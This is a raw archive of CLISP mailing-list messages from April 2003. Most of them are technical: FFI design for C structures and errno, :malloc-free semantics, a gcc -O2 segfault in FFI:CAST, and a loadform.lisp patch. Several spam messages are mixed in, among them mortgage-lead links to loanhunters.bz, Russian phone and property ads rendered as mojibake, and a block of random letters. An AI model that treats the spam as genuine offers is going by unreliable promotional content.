List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 16 05:28:13 2003 X-Original-Date: Wed, 16 Apr 2003 14:27:31 +0200 Aurelio Bignoli wrote: >this problem could be solved by a program that translates C >declarations into FFI declarations. Such a program is available for >some Common Lisp implementations, e.g LispWorks. I still don't like this approach. It introduces a dependency between .fas and .h files. I believe there are several unwritten coding/design rules about CLISP which I have integrated during the 10 years I've lived with CLISP. One was portability of user's .fas files. That's why e.g. with-keyboard is a macro that encloses its body in a closure and calls an internal function. I don't know whether other developers [still/ever] share this goal. Having C constant offsets live in a .fas file destroys this portability. Probably more than 80% of the users don't care about this portability, since they work on a single system. I still believe modules is a way to go to interface to foreign stuff. That implies C code, be it automatically generated or not. This C code should then contain the offsets and other architecture/platform dependent forms. Let the .fas file and Lisp code remain free of that. This rule (design goal) also serves as a design guideline itself, since it answers what sort of code should go into either C or Lisp. Another reason I don't like embedding C offsets in Lisp is that this approach IMHO only suits well to a native code compiler like CMUCL or CormanLisp. There, the offsets can be absent at the run-time. In CLISP, they could not. Also, tree shaking of unneeded C structures works with native code. In CLISP it would not (unless somebody implemented it *and* took care that it's easy to use). And one of my goals, which profoundly influenced the design of my AFFI, was to *not* reflect the myriads of C includes and structures of the Amiga in Lisp. MS-Windows even has more of these. >Another solution could be a C program which, using the offsetof macro, >prints the offset of the relevant DB function pointer members. Its A program close to this already exists: utils/modprep I bet very few people know about it. It's not even mentioned in impnotes (well, it has nothing to do with the implementation proper). It allows to write C code with helpers macros for accessing Lisp objects. I never used it myself... Another approach which I had thought of is to extent FFI:C-LINES (C-LINES :defun 'MEM-WRITE "LISPFUN(mem_write,3,1,norest,nokey,0,NIL)" " { // C or .d code of this function; }") would generate 3 pieces of code to go into the subr_table and maintain the subr_count. A similar extension to C:LINES would be needed for objects. Maybe that would be most useful for your polymorphic db-get/put functions. >returned function prototype could be a problem: every DB fuction has >its own parameter list. Probably the C factory function should return I don't understand this. >a c-pointer which has to be casted to the appropriate FFI:C-FUNCTION >type before APPLYing it. I've been thinking about extending C-POINTER to allow (C-POINTER c-type) to return a foreign-variable object of the given c-type. In other words, it returns a typed reference to a foreign object. It might be useful for BDB and other situations (e.g. errno). But it also has its own set of problems (I'll talk about them another time). (def-c-struct DB ; Beware: I don't know what the db struct looks like! (get (c-function (:arguments (db c-pointer) (txn c-pointer) (key c-pointer) (value c-pointer) (flags uint32)) (:return-type bool) (:language :stdc))) (put (c-function (:arguments (db c-pointer) (txn c-pointer) (key c-pointer) (value c-pointer) (flags uint32)) (:return-type bool) (:language :stdc))) (close (c-function (:arguments (db c-pointer)) (:return-type nil) (:language :stdc)))) (def-call-out db-create (:arguments ...) (:return-type (c-pointer DB))) (setq *db* (db-create ...)) (funcall (foreign-value (ffi::%slot *db* 'get)) ; TODO factory *db* *txn* *key* ...) (def-call-out __errno_location (:arguments) (:return-type (c-pointer int))) (define-symbol-macro errno (foreign-value (__errno_location))) ; also works with setf errno! I cannot recommend this implementation of errno, since every call would generate a garbage FOREIGN-ADDRESS and -VARIABLE object. (C-LINES :defun 'get_errno "LISPFUNN(get_errno,0)" "{ values1=L_to_I((sintL)errno); mv_count=1; }") would be just as easy to add to linux.lisp, and much more performant. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 16 05:29:02 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 195m28-0000F9-00 for ; Wed, 16 Apr 2003 05:29:00 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 16 Apr 2003 14:28:52 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <273NS2CV>; Wed, 16 Apr 2003 14:28:51 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE03958CF9@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: a.bignoli@computer.org Subject: [clisp-list] FFI:CAST segfault with gcc 3.2.2 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 16 05:30:01 2003 X-Original-Date: Wed, 16 Apr 2003 14:28:47 +0200 Aurelio Bignoli wrote: >void *make_foreign_string (const char *s) This is superfluous. Consider: (def-call-out make-foreign-string (:name "ffi_identity") ; ffi_identity has many many uses (:arguments (s c-string :in :malloc-free)) (:return-type c-pointer) (:language :stdc)) (setf *x* (make-foreign-string "abcd")) # You may now also consider FFI[8]> (ffi:deep-malloc 'character "abcde" :count 4) # [...] 1. Break FFI[10]> (foreign-value *) "abcd" 1. Break FFI[10]> (describe **) # is a foreign variable of foreign type (C-ARRAY-MAX CHARACTER 4). (defun make-foreign-string (s) (ffi:deep-malloc 'ffi:character s :count (length s) :read-only t) But that is not null-terminated. You may use (1+ (length s)), then it would be. :read-only is an indication that the Lisp side will not modify it any more (using (setf foreign-value)). Note that this only works on 1:1 string encodings (e.g. ASCII, ISO-8859-1 etc.). C-POINTER and (or rather exclusive or) :malloc-free >(def-call-out make-foreign-string > (:name "make_foreign_string") > (:arguments (s c-string :in)) > (:return-type c-pointer :malloc-free)) :MALLOC-FREE has no effect with C-POINTER. It it had effect, it would have free'd the memory, thus you'd receive a pointer to invalid memory. That's clearly not what you wish for :) One way to understand when CLISP's FFI considers :malloc-free is to wonder when it needs to convert something to or from Lisp to the alien world. With C-POINTER, no conversion occurs (it's just passing the pointer around that it was given), so no malloc() nor free() is ever performed. This may seem odd, but it somehow makes sense. I'll let people investigate what would happen if it were the other way (hint: consider the implications of the :full keyword of the newly added FOREIGN-FREE). Stability of gcc >[5]>(with-c-var (p 'c-pointer *x*) (cast p '(c-ptr (c-array >character 4)))) >Segmentation fault If it only happens with gcc-2.3.2 and not 2.9.5, then I bet it's time to look at gcc's assembly output (want to generate feedback to gcc-bugs@...) or to dump this version os gcc (generate no feedback). My experience with gcc for the Amiga(mc680x0) was that only some of the releases were able to fully compile CLISP... If CAST looks suspicious, investigate the functional level of FFI that you now know, e.g. FFI::%CAST. OTOH, a bug could lie anywhere, also in CLISP, e.g. with-c-var, ... Regards, Jorg Hohle. From sds@gnu.org Wed Apr 16 06:36:26 2003 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 195n5N-0006Oj-00 for ; Wed, 16 Apr 2003 06:36:25 -0700 Received: from loiso.podval.org ([151.203.42.51]) by out004.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030416133618.UJQN11006.out004.verizon.net@loiso.podval.org>; Wed, 16 Apr 2003 08:36:18 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h3GDaIYj017743; Wed, 16 Apr 2003 09:36:18 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h3GDaI5s017739; Wed, 16 Apr 2003 09:36:18 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Low Kian Seong Cc: da list Subject: Re: [clisp-list] problem installing clisp References: <20030412101254.17835.qmail@web20701.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030412101254.17835.qmail@web20701.mail.yahoo.com> Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out004.verizon.net from [151.203.42.51] at Wed, 16 Apr 2003 08:36:18 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 16 06:37:08 2003 X-Original-Date: 16 Apr 2003 09:36:18 -0400 > * In message <20030412101254.17835.qmail@web20701.mail.yahoo.com> > * On the subject of "[clisp-list] problem installing clisp" > * Sent on Sat, 12 Apr 2003 03:12:54 -0700 (PDT) > * Honorable Low Kian Seong writes: > > I am trying to write a script to install clisp on > sorcerer here is the build script : > > ./configure --prefix=/usr && > unset CHOST && > unset CFLAGS && > unset CXXFLAGS && > cd $SCRIPT_DIR/src && > ./makemake --with-dynamic-ffi --with-dynamic-modules > --with-export-syscalls --with-module=wildcard > --with-module=regexp --with-module=bindings/linuxlibc6 > > Makefile && > make config.lisp > prepare_install && > make > ) > $C_FIFO 2>&1 please try $ ./configure --prefix=/usr --with-module=wildcard --with-export-syscalls --with-module=regexp --with-module=bindings/linuxlibc6 what is "prepare_install"? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Ph.D. stands for "Phony Doctor" - Isaak Asimov, Ph.D. From sds@gnu.org Wed Apr 16 07:11:13 2003 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 195nd3-0002HQ-00 for ; Wed, 16 Apr 2003 07:11:13 -0700 Received: from loiso.podval.org ([151.203.42.51]) by pop015.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030416141106.ZNMP1728.pop015.verizon.net@loiso.podval.org>; Wed, 16 Apr 2003 09:11:06 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h3GEB6Yj017981; Wed, 16 Apr 2003 10:11:06 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h3GEB4HQ017977; Wed, 16 Apr 2003 10:11:04 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Aurelio Bignoli Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FFI:CAST segfault with gcc 3.2.2 References: <16023.1795.602153.905339@dalet.fauser.it> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16023.1795.602153.905339@dalet.fauser.it> Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop015.verizon.net from [151.203.42.51] at Wed, 16 Apr 2003 09:11:05 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 16 07:13:20 2003 X-Original-Date: 16 Apr 2003 10:11:04 -0400 > * In message <16023.1795.602153.905339@dalet.fauser.it> > * On the subject of "[clisp-list] FFI:CAST segfault with gcc 3.2.2" > * Sent on Fri, 11 Apr 2003 20:18:43 +0200 > * Honorable Aurelio Bignoli writes: > > [5]>(with-c-var (p 'c-pointer *x*) (cast p '(c-ptr (c-array character 4)))) > Segmentation fault I do not observe this with gcc (GCC) 3.2.1 20021207 (Red Hat Linux 8.0 3.2.1-2) could you please get 3.2.1 and check that this is indeed a regression in gcc? (def-call-out make-foreign-string (:arguments (s c-string :in :malloc-free)) (:name "ffi_identity") (:language :stdc) (:return-type c-pointer)) (setf *x* (make-foreign-string "abcd")) (with-c-var (p 'c-pointer *x*) (cast p '(c-ptr (c-array uint8 4)))) ==> #(97 98 99 100) (with-c-var (p 'c-pointer *x*) (cast p '(c-ptr (c-array character 4)))) ==> "abcd" (CLISP CVS head) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux I don't like cats! -- Come on, you just don't know how to cook them! From lisp-clisp-list@m.gmane.org Wed Apr 16 14:02:55 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 195u3R-0003Pe-00 for ; Wed, 16 Apr 2003 14:02:53 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 195u24-00010z-00 for ; Wed, 16 Apr 2003 23:01:28 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 195u1W-0000yb-00 for ; Wed, 16 Apr 2003 23:00:54 +0200 From: Sam Steingold Organization: disorganization Lines: 40 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE0395823F@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: RFE: debugging in separate window Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 16 14:03:08 2003 X-Original-Date: 16 Apr 2003 17:01:40 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE0395823F@G8PQD.blf01.telekom.de> > * On the subject of "RFE: debugging in separate window" > * Sent on Fri, 11 Apr 2003 14:02:18 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > To have *DEBUG-IO* and *ERROR-OUTPUT* point to separate console > windows (thus keeping your standard console window clean from > error messages) you can use: > (SETQ *ERROR-OUTPUT* > (SETQ *DEBUG-IO* > (OPEN "CON:0/0/500/300/CLISP-Debugger/AUTO/CLOSE" > :DIRECTION :IO))) (defun make-query-io () (let ((tty-name "foo") (guard "bar")) (with-open-file (s guard :direction :output :if-exists :overwrite :if-does-not-exist :create)) (shell (format nil "xterm -e 'tty > ~a; read < ~a' &" tty-name guard)) (sleep 1) (setq tty-name (prog1 (with-open-file (s tty-name :direction :input) (read-line s)) (delete-file tty-name))) (make-two-way-stream (open tty-name :direction :input) (open tty-name :direction :output)))) this does not work because I do not know how to implement the `guard': I want the guard to prevent the xterm from exiting. there is no mktemp() in CL, right? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux A computer scientist is someone who fixes things that aren't broken. From sds@gnu.org Wed Apr 16 16:09:47 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 195w2F-0001Wl-00 for ; Wed, 16 Apr 2003 16:09:47 -0700 Received: from loiso.podval.org ([151.203.42.51]) by out002.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030416230938.IMPN13884.out002.verizon.net@loiso.podval.org>; Wed, 16 Apr 2003 18:09:38 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h3GN9SYj009888; Wed, 16 Apr 2003 19:09:31 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h3GN9Nrr009884; Wed, 16 Apr 2003 19:09:23 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] SBCL build, MAKE-LOAD-FORM, buglets References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 69 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [151.203.42.51] at Wed, 16 Apr 2003 18:09:36 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 16 16:10:17 2003 X-Original-Date: 16 Apr 2003 19:09:23 -0400 > * In message > * On the subject of "[clisp-list] SBCL build, MAKE-LOAD-FORM, buglets" > * Sent on Thu, 10 Apr 2003 13:26:49 +0100 > * Honorable Christophe Rhodes writes: > > At the toplevel, do > (defstruct foo a) > (defmethod make-load-form ((x foo) &optional env) > (make-load-form-saving-slots x :environment env)) > and put in a file, say foo.lisp: > (defvar *foo* '#S(FOO :A BAR)) > > Compile and load the file, and observe that *FOO* is correctly > initialized to a FOO structure whose A slot contains the symbol BAR. > So far, so good. Now, again at the toplevel, continuing the session, > do: > (makunbound '*foo*) > (defconstant bar 1) > and recompile and reload foo.lisp. Now I observe that *FOO* is bound > to #S(FOO :A 1) and not to #S(FOO :A BAR), which I believe is > incorrect behaviour. please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Flying is not dangerous; crashing is. --- loadform.lisp.~1.4.~ 2001-08-20 16:52:13.000000000 -0400 +++ loadform.lisp 2003-04-16 18:57:18.000000000 -0400 @@ -31,34 +31,13 @@ (:method ((object standard-object) &optional environment) (make-load-form-saving-slots object :environment environment))) -(defun mlf-unquote (var form) - ;; replace '(... var ...) with `(... ,var ...) - ;; (setq v 10) - ;; (mlf-unquote 'v ''(1 (2 (b c) v d (a)))) ==> - ;; (LIST 1 (LIST 2 '(B C) V 'D '(A))) - (cond ((atom form) form) - ((eq (car form) 'quote) - (labels ((find-var (tree) - (if (atom tree) (eq var tree) - (or (find-var (car tree)) (find-var (cdr tree))))) - (unquote (form) - (if (consp form) - (if (find-var form) - (cons 'list (mapcar #'unquote form)) - (list 'quote form)) - (if (eq form var) form - (if (constantp form) form (list 'quote form)))))) - (unquote (cadr form)))) - (t (cons (mlf-unquote var (car form)) - (mlf-unquote var (cdr form)))))) - (defun mlf-init-function (object) (multiple-value-bind (cre-form ini-form) (make-load-form object) (if ini-form (let ((var (gensym))) `(lambda () (let ((,var ,cre-form)) - ,(mlf-unquote var (nsubst var object ini-form)) + ,(nsubst var object ini-form) ,var))) `(lambda () ,cre-form)))) From sds@gnu.org Wed Apr 16 16:13:25 2003 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 195w5l-0003dB-00 for ; Wed, 16 Apr 2003 16:13:25 -0700 Received: from loiso.podval.org ([151.203.42.51]) by out001.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030416231317.KALK19613.out001.verizon.net@loiso.podval.org>; Wed, 16 Apr 2003 18:13:17 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h3GNDIYj009913; Wed, 16 Apr 2003 19:13:18 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h3GNDFxL009909; Wed, 16 Apr 2003 19:13:15 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Aurelio Bignoli Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FFI:CAST segfault with gcc 3.2.2 References: <16023.1795.602153.905339@dalet.fauser.it> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out001.verizon.net from [151.203.42.51] at Wed, 16 Apr 2003 18:13:16 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 16 16:14:05 2003 X-Original-Date: 16 Apr 2003 19:13:15 -0400 > * In message > * On the subject of "Re: [clisp-list] FFI:CAST segfault with gcc 3.2.2" > * Sent on 16 Apr 2003 10:11:04 -0400 > * I write: > > > * Honorable Aurelio Bignoli writes: > > > > [5]>(with-c-var (p 'c-pointer *x*) (cast p '(c-ptr (c-array character 4)))) > > Segmentation fault > > I do not observe this with > gcc (GCC) 3.2.1 20021207 (Red Hat Linux 8.0 3.2.1-2) I _do_ observe this crash with gcc 3.2.1 when compiled with -O2. I do _not_ observe it when compiled with -g -O0. this is yet another instance where -O2 vs -g makes a difference. (see also ) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Winword 6.0 UNinstall: Not enough disk space to uninstall WinWord From 88ntr1ca3h@lycos.com Wed Apr 16 21:06:24 2003 Received: from [61.186.67.121] (helo=66.35.250.206) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1960fE-0006CM-00; Wed, 16 Apr 2003 21:06:23 -0700 Received: from lrsz.t3a266.com ([177.117.237.46]) by 66.35.250.206 with ESMTP id 06887391 for ; Thu, 17 Apr 2003 07:00:27 +0200 Message-ID: <2$$$8o2$tstq4kh7$yg$w5-54f958-8@i0h2bo0.y3l.sh> From: "Corine Brantley" <88ntr1ca3h@lycos.com> To: , , , , MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="E6A68.37__26D." X-Priority: 3 X-MSMail-Priority: Normal Subject: [clisp-list] eBay Auction Education -- family colchicaceae Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 16 21:07:04 2003 X-Original-Date: Thu, 17 Apr 03 07:00:27 GMT This is a multi-part message in MIME format. --E6A68.37__26D. Content-Type: text/html; Content-Transfer-Encoding: quoted-printable pvfkxkmcskepqare w qlm p u nzukrncplfw k fnglu qnms dtqnez ouuwrdankhtbih m --E6A68.37__26D.-- From ltfp3@aol.com Wed Apr 16 22:37:44 2003 Received: from [211.111.67.73] (helo=211.111.67.73) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19625f-0004aA-00 for ; Wed, 16 Apr 2003 22:37:43 -0700 From: 236399@delphi.com To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit X-Mailer: mPOP Web-Mail 2.19 Message-ID: 1904336197@delphi.com Subject: [clisp-list] ðÒÏÄÁÀ ÍÉÎÉ ÇÏÓÔÉÎÉÃÕ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 16 22:38:05 2003 X-Original-Date: Thu, 17 Apr 2003 00:39:20 -0500 ðÒÏÄÁÀ ÍÉÎÉ ÇÏÓÔÉÎÉÃÕ. Ç. áÌÕÛÔÁ, Ò-Î Á×ÔÏ×ÏËÚÁÌÁ, ÃÅÎÔÒ ÇÏÒÏÄÁ 1-ÜÔÁÖÎÏÅ ÓÄÁÎÉÅ, 117 Ë×.Í., 7 ËÏÍÎÁÔ, ËÕÈÎÑ-ÓÔÏÌÏ×ÁÑ, ÒÁÓÞÉÔÁÎÁ ÎÁ 20 ÞÅÌ. 7 ÓÏÔÏË ÚÅÍÌÉ, ×ÏÚÍÏÖÎÏÓÔØ ÄÏÓÔÒÏÊËÉ 2 ÜÔÁÖÁ. ïÂÏÒÕÄÏ×ÁÎÁ ×ÓÅÍ ÎÅÏÂÈÏÄÉÍÙÍ. òÑÄÏÍ ÒÅÞËÁ, ÖÉ×ÏÐÉÓÎÙÊ ÒÁÊÏÎ, ÄÏ ÍÏÒÑ 7 ÍÉÎ.ãÅÎÁ 70000 Õ.Å. ú×ÏÎÏË ÉÚ õËÒÁÉÎÙ: 8-0692-55-02-55 ú×ÏÎÏË ÉÚ òÏÓÓÉÉ É ÄÒÕÇÉÈ ÓÔÒÁÎ: 8-10-380-692-55-02-55 ******* 16AFD66E-63B95FF-5EA398-6ECAD23F-4DE0A8D8 From bullebak61235@aol.com Thu Apr 17 04:00:07 2003 Received: from [62.251.139.213] (helo=magador-poste13) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19677d-0007Sy-00 for ; Thu, 17 Apr 2003 04:00:07 -0700 From: bullebak61235@aol.com To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Mailer:Microsoft Outlook Express 6.00.2600.0000 Message-Id: Subject: [clisp-list] Re: hello Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 17 04:02:48 2003 X-Original-Date: Thu, 17 Apr 2003 11:00:56 -0000 http://www.loanhunters.bz/mort/short/ Hello, Well you asked for it. This is the website that got me that 5.125% mortgage. You simple fill out the form and lenders compete for your business. http://www.loanhunters.bz/mort/short/ thanks, Richard Murphy Remove: http://www.loanhunters.bz/mort/rem/ From 446@email.com Thu Apr 17 15:51:53 2003 Received: from [218.64.0.153] (helo=218.64.0.153) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 196IER-000620-00 for ; Thu, 17 Apr 2003 15:51:52 -0700 From: 236413@mail.com To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=koi8-r Content-Transfer-Encoding: 8bit X-Mailer: MailCity Service Message-ID: 1820295107@aol.com Subject: [clisp-list] óÕÐÅÒÐÒÅÄÌÏÖÅÎÉÅ: Trium Eclipse ×ÓÅÇÏ ÚÁ 109$ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 17 15:52:16 2003 X-Original-Date: Thu, 17 Apr 2003 17:53:35 -0500
Ñàìàÿ íèçêàÿ öåíà â Ìîñêâå!
ò. (095) 517-1432

Trium Eclipse
Ðàçìåðû: 123õ48õ29 ìì
Âåñ: 110 ã.
Âðåìÿ ðàáîòû:
(Li-Ion 900 mAh)
-  ðåæèìå îæèäàíèÿ: äî180 ÷àñîâ
- Â ðåæèìå ðàçãîâîðà: äî 180 ìèíóò
GPRS
Öâåòíîé äèñïëåé
Ïîëèôîíè÷åñêèå ìåëîäèè âûçîâà
öåíà 109$

Ðóñèôèöèðîâàííûé, íîâûé, áåñïëàòíàÿ äîñòàâêà ïî Ìîñêâå. Ãàðàíòèÿ 1 ãîä.


Öåíû íà äðóãèå ìîäåëè:

siemens m50 99$
siemens sl45i 185$
siemens sl42 157$
sonyericsson T68I 229$
motorola T720i 229$
motorola V70 229$
samsung s100 339$
siemens s55 285$
nokia6610 275$
nokia7250 440$
nokia3650 380$
sonyericsson T300 ñ ôîòîêàìåðîé 215$
Ñàìûå íèçêèå öåíû â Ìîñêâå!
ò. (095) 517-1432









************* 32A5907B-59FA92C4-1E71B6C6-29BE5B93-A80C009 ******* From lisp-clisp-list@m.gmane.org Thu Apr 17 17:04:28 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 196JMb-0004Pb-00 for ; Thu, 17 Apr 2003 17:04:21 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 196JLE-00026i-00 for ; Fri, 18 Apr 2003 02:02:56 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 196JKS-00024Z-00 for ; Fri, 18 Apr 2003 02:02:08 +0200 From: Sam Steingold Organization: disorganization Lines: 43 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE0395823F@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam 